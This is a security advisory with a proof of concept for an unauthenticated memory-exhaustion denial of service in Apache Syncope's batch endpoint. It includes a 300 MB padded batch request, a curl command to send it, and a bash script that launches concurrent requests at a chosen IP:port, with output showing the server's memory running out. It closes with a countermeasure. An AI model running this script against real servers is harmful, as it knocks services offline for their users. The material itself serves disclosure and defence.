Apache Syncope could be vulnerable to DoS attack

Author: Ezio Emanuele Ditella Created on: 24/01/2020

Explaination

The java class *org.apache.syncope.common.rest.api.batch.BatchPayloadLineReader* (line 100-107) countinue to allocate memory until a batch request/response is completely read. This could let an attacker (an unauthenticated user) to forge a large size request which could occupy all the memory of the attacked system.

The affected lines:

```
if (!foundLineEnd) {
                byte currentChar = buffer[offset++];
                if (!innerBuffer.hasRemaining()) {
                    innerBuffer.flip();
                    ByteBuffer tmp = ByteBuffer.allocate(innerBuffer.limit() * 2);
                    tmp.put(innerBuffer);
                    innerBuffer = tmp;
                }
    ....
```

PoC

To replicate this PoC first of all we need to download ad install the *standalone* package *Apache Syncope*: https://downloads.apache.org/syncope/2.1.8/syncope-standalone-2.1.8-distribution.zip. Then install it following the instruction at: https://syncope.apache.org/docs/getting-started.html#standalone.

Creating now a Batch request:

```
--batch_61bfef8d-0a00-41aa-b775-7b6efff37652
Content-Type: application/http
Content-Transfer-Encoding: binary


GET /users/$s HTTP/1.1
--batch_61bfef8d-0a00-41aa-b775-7b6efff37652--
```

Replacing the *$s* symbol with a file grather than 250 MB (to trigger heap overflow) created as follow:

```
python -c 'print("A"*300000000)' > payload_300MB
cat payload_300MB >> batch_req
```

Now closing the batch request in order to make it valid:

```
echo -e " HTTP/1.1\n--batch_61bfef8d-0a00-41aa-b775-7b6efff37652--" >> batch_req
```

Make a post request with the 'big' batch_request file:

```
curl -v --data-binary @batch_req -H 'Content-Type: multipart/mixed;
boundary=batch_61bfef8d-0a00-41aa-b775-7b6efff37652'
http://localhost:9080/syncope/rest/batch
```

Here is a portion of the output:

```
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 9080 (#0)
> POST /syncope/rest/batch HTTP/1.1
> Host: localhost:9080
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Type: multipart/mixed; boundary=batch_61bfef8d-0a00-41aa-b775-7b6efff37652
> Content-Length: 300000239
> Expect: 100-continue
>
< HTTP/1.1 100
* We are completely uploaded and fine
< HTTP/1.1 500
< Content-Type: text/html;charset=utf-8
< Content-Language: en
< Content-Length: 5692
< Date: Sun, 24 Jan 2021 10:51:44 GMT
< Connection: close
<
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server
Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1,
h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-
size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line
{height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status
500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p>
<p><b>Message</b> Java heap space</p><p><b>Description</b> The server encountered an
unexpected condition that prevented it from fulfilling the request.</p><p>
<b>Exception</b></p><pre>org.apache.cxf.interceptor.Fault: Java heap space
[...]
</pre><p><b>Root Cause</b></p><pre>java.lang.OutOfMemoryError: Java heap space
* Closing connection 0
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server
logs.</p><hr class="line" /><h3>Apache Tomcat/9.0.41</h3></body></html>
```

This could let to a DoS Attack, as follow (content of the DoS attack script):

```
#! /bin/bash

if [ $# -ne 2 ]
then
    echo "Usage: ./ddos_syncope <NR_REQ> <IP:PORT>"
    exit 1
fi

IP=$2
```

```
REQ=$1

for i in $(seq 1 ${REQ}):
do
    echo "Thread $i launched\n"
    curl -s -X POST --data-binary @batch_req -H 'Content-Type: multipart/mixed;
boundary=batch_61bfef8d-0a00-41aa-b775-7b6efff37652'  http://$IP/syncope/rest/batch >
/dev/null &
done

for i in $(seq 1 10):
do
    cat /proc/meminfo | grep MemFree
    sleep 1
done
```

By running this simple script with 10 concurrent requests, the output is the following:

```
┌─[ezio@backbox]─[~]
└──╼ $./ddos_syncope 10 localhost:9080
Thread 1 launched
Thread 2 launched
Thread 3 launched
Thread 4 launched
Thread 5 launched
Thread 6 launched
Thread 7 launched
Thread 8 launched
Thread 9 launched
Thread 10: launched
MemFree:         3122360 kB
MemFree:          329976 kB
MemFree:          330700 kB
MemFree:          330984 kB
MemFree:          330300 kB
MemFree:          630884 kB
MemFree:          931688 kB
MemFree:         1231948 kB
MemFree:         1231728 kB
MemFree:         1533124 kB
```

By increasing the number of concurrent requests from 10 to 14, the output is:

```
┌─[ezio@backbox]─[~]
└──╼ $./ddos_syncope 14 localhost:9080
Thread 1 launched
Thread 2 launched
Thread 3 launched
Thread 4 launched
Thread 5 launched
Thread 6 launched
Thread 7 launched
```

```
Thread 8 launched
Thread 9 launched
Thread 10 launched
Thread 11 launched
Thread 12 launched
Thread 13 launched
Thread 14: launched
MemFree:         4342696 kB
MemFree:         3834136 kB
MemFree:         2608424 kB
MemFree:         1437936 kB
MemFree:          355608 kB
MemFree:          128320 kB
MemFree:          159156 kB
MemFree:          150188 kB
MemFree:          149608 kB
MemFree:          147748 kB
```

As expected the free memory of the system under attack gets lower by increasing the concurrent requests, and this may led to an unusability of the system.

Countermeasures

A simple but effective countermeasure could be keeping track of the space allocated and abort the batch request/response read operation IF a maximum permitted size is reached.